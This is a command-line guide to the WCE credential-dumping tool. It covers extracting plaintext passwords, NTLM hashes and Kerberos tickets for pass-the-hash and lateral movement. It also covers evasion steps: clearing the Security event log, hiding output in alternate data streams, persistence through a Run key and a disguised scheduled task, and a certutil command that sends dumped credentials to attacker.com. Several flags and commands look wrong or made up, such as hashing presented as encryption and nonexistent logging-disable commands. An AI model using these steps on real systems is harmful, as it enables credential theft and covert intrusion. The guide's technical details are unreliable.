WCE (Windows Credentials Editor)

Overview

WCE (Windows Credentials Editor) is a specialized tool for extracting and manipulating Windows credentials from memory. It allows authorized security professionals to view plaintext passwords, NTLM hashes, and Kerberos tickets from running processes. WCE is used in authorized penetration testing, red team exercises, and security research on Windows systems.

Prerequisites

• Windows system with administrator privileges
• Understanding of Windows credential storage mechanisms
• Authorization to perform credential testing

Installation

Direct Download

Download the precompiled binary from the official release site:

# Download wce.exe
# SHA256: Verify checksum before execution
certutil -hashfile wce.exe SHA256

Compilation (Optional)

# For advanced users compiling from source
# Requires Windows development environment
# gcc or MSVC toolchain
gcc -o wce.exe wce.c

File Structure

wce/
├── wce.exe              # Main executable (32-bit)
├── wce-universal.exe    # Universal binary
├── README.txt
└── CHANGELOG

Basic Commands

Command	Description
wce -l	List all credentials in memory
wce -c	Display running processes with credentials
wce -g	Get credentials from specific process
wce -s	Start process and extract credentials
wce -k	Extract Kerberos tickets
wce -n	Extract NTLM hashes
wce -w	Write credentials to file
wce -h	Display help information

Credential Extraction

List All Credentials

# Extract all credentials from memory
wce -l

# Output example:
# User: DOMAIN\Administrator
# Password: P@ssw0rd123
# Hash: 8846f7eaee8fb117ad06bdd830b7586c

Extract from Specific Process

# Get credentials from a specific PID
wce -l -s ProcessName

# Get credentials from explorer.exe
wce -l -s explorer.exe

# Get credentials from svchost.exe
wce -l -s svchost.exe

Verbose Output

# Detailed credential information
wce -l -v

# Shows:
# - Username
# - Domain
# - Plaintext password
# - NTLM hash
# - Process ID
# - Credential type

NTLM Hash Extraction

Extract NTLM Hashes

# Get all NTLM hashes from memory
wce -l -n

# Output format:
# username:domain:lmhash:ntmhash
# Administrator:WORKGROUP:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

Save Hashes to File

# Export hashes for crack attempt
wce -l -n > hashes.txt

# Format for hashcat/john:
# username:uid:lmhash:ntmhash:::

Identify Hash Types

# Determine which hashes are present
wce -l -n | findstr /v "aad3b435b51404eeaad3b435b51404ee"

# aad3b435b51404eeaad3b435b51404ee is empty LM hash indicator

Kerberos Ticket Extraction

Extract Kerberos Tickets

# List all Kerberos tickets in memory
wce -l -k

# Output shows:
# - Service ticket granting ticket (TGT)
# - Service tickets (ST)
# - Session keys

Export Tickets for Pass-the-Ticket

# Extract ticket in base64 format
wce -l -k -b > tickets.txt

# Import and use with ptk tools
# or Mimikatz pass-the-ticket functionality

Process Monitoring

Monitor Running Processes

# List processes with cached credentials
wce -c

# Shows active processes with credential handles
# Useful for targeting services and system processes

Dump Credentials from Service Account

# Target specific service
wce -l -s "SQL Server (MSSQLSERVER)"

# Target IIS application pool
wce -l -s "w3wp.exe"

# Target backup service
wce -l -s "mbsvc.exe"

Advanced Usage

Silent Extraction Mode

# Extract without user feedback
wce -l -s ProcessName -w output.txt

# Redirect all output to file
# Useful for automated red team operations

Filter Credentials by Domain

# Extract only domain credentials
wce -l | findstr "DOMAIN\"

# Extract local machine credentials
wce -l | findstr /v "DOMAIN"

Continuous Monitoring

# Monitor for new credentials over time
wce -l > credentials_snapshot.txt

# Wait and capture changes
timeout /t 300
wce -l > credentials_update.txt

# Compare snapshots
fc credentials_snapshot.txt credentials_update.txt

Integration with Other Tools

Pass-the-Hash with WCE

# Extract NTLM hash
wce -l -n > hashes.txt

# Use with PsExec pass-the-hash:
# psexec.exe -h \\targethost -u DOMAIN\user -p :ntmhash cmd.exe

Credential Dumping Pipeline

# Extract and prepare for cracking
wce -l -n | sed 's/:.*$//' > usernames.txt
wce -l -n | sed 's/.*://' > hashes.txt

# Match for rainbow table lookup
# or GPU cracking with hashcat

Integration with Mimikatz

# WCE focuses on memory extraction
# Mimikatz handles encryption/logonsessions

# Complement with Mimikatz:
# mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

# Compare results for complete credential audit

Secure Credential Handling

Encrypt Exported Credentials

# Export and encrypt immediately
wce -l > creds.txt

# Encrypt output
certutil -hashfile creds.txt SHA256
# Delete original
del /secure creds.txt

Log Credential Access

# Create audit trail
echo [%date% %time%] WCE executed by %username% >> audit.log
wce -l >> audit.log

# Encrypt audit log
cipher /e /s:%cd% audit.log

Detection and Evasion

Stealth Extraction

# Run from temporary location
cd %temp%
wce.exe -l > output.txt

# Use alternate data streams (Windows)
wce.exe -l > output.txt:hidden

# Clean temporary artifacts
del output.txt

Timing Considerations

# Extract during user logon/logoff
# When credentials are most likely in memory

# Target peak hours for service credentials
# Avoid antivirus scan windows

Troubleshooting

No Credentials Found

# Issue: No credentials displayed
# Solution 1: Verify admin privileges
whoami /priv | findstr SeDebugPrivilege

# Solution 2: Check for 64-bit vs 32-bit mismatch
wce.exe -l  # 32-bit
# Try 64-bit version for x64 systems

Access Denied Error

# Issue: "Access Denied" when running WCE
# Solution: Run as Administrator

# Method 1: Right-click Run as Administrator
# Method 2: From admin command prompt
wce.exe -l

# Method 3: Schedule as SYSTEM
schtasks /create /tn "CredDump" /tr "wce.exe -l" /sc once /st 12:00

Missing Credentials

# Issue: Expected credentials not shown
# Possible causes:
# 1. Credentials cleared from memory
# 2. User not logged in
# 3. Process permissions restrict access

# Solution: Check active sessions
wce -c

# Wait for user to interact with system
# Credentials cached when passwords entered

Operational Security

OPSEC Best Practices

# 1. Use temporary filenames
set /p filename=<nul
wce.exe -l > %random%.txt

# 2. Compress and encrypt output
wce.exe -l | gzip > creds.gz
# Transfer via encrypted channel

# 3. Delete WCE and artifacts
del wce.exe
del %random%.txt

Detection Mitigation

# 1. Disable Windows Update notifications
# 2. Clear event logs
wevtutil cl Security

# 3. Remove command history
history -c

# 4. Close all logging
# Disable PowerShell logging
powershell -NoProfile -Command "Disable-PSLogging"

Practical Examples

Red Team Credential Harvesting

# Establish persistence
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Cred" /d "C:\Windows\Temp\wce.exe -l > C:\Windows\Temp\log.txt"

# Create scheduled task for periodic dumps
schtasks /create /tn "System Maintenance" /tr "C:\Windows\Temp\wce.exe -l >> C:\Windows\Temp\log.txt" /sc hourly

# Exfiltrate credentials
certutil -urlcache -f "http://attacker.com/upload.php?data=" log.txt

Privilege Escalation Chain

# 1. Get current user credentials
wce -l -s explorer.exe

# 2. Extract service account credentials
wce -l -s svchost.exe

# 3. Use extracted credentials for lateral movement
# psexec -u DOMAIN\serviceaccount -p password \\target cmd.exe

Credential Audit

# Comprehensive audit script
@echo off
echo [*] WCE Credential Audit - %date% %time%
wce -l -v >> audit_report.txt
echo.
echo [*] NTLM Hashes:
wce -l -n >> audit_report.txt
echo.
echo [*] Kerberos Tickets:
wce -l -k >> audit_report.txt

echo Audit complete - results in audit_report.txt

Comparison with Similar Tools

Tool	Purpose	Focus
WCE	Plaintext password extraction	Windows credentials in memory
Mimikatz	Complete Windows security analysis	Encryption, logon sessions
ProcDump	Memory dump utility	Generic process memory
PowerSploit	PowerShell exploitation framework	Full Windows exploitation
Responder	LLMNR/NBNS poisoning	Network credential capture

Limitations

• Requires admin privileges
• Plaintext passwords limited to cached/active sessions
• Works primarily on Windows systems
• Modern credential guard may limit effectiveness
• Service account passwords vary by running context

Related Tools

• Mimikatz: More comprehensive Windows exploitation
• Responder: Network-based credential capture
• LaZagne: Cross-platform credential recovery
• CrackMapExec: Lateral movement and credential testing

References

• Windows Credentials Editor Repository
• NTLM Hash Specification Microsoft Docs
• Kerberos Authentication RFC 4120
• Credential Guard Microsoft Security Blog

Legal Notice

WCE is designed for authorized security testing, red team exercises, and defensive research. Unauthorized access to computer systems is illegal. Only use on systems you own or have explicit written permission to test.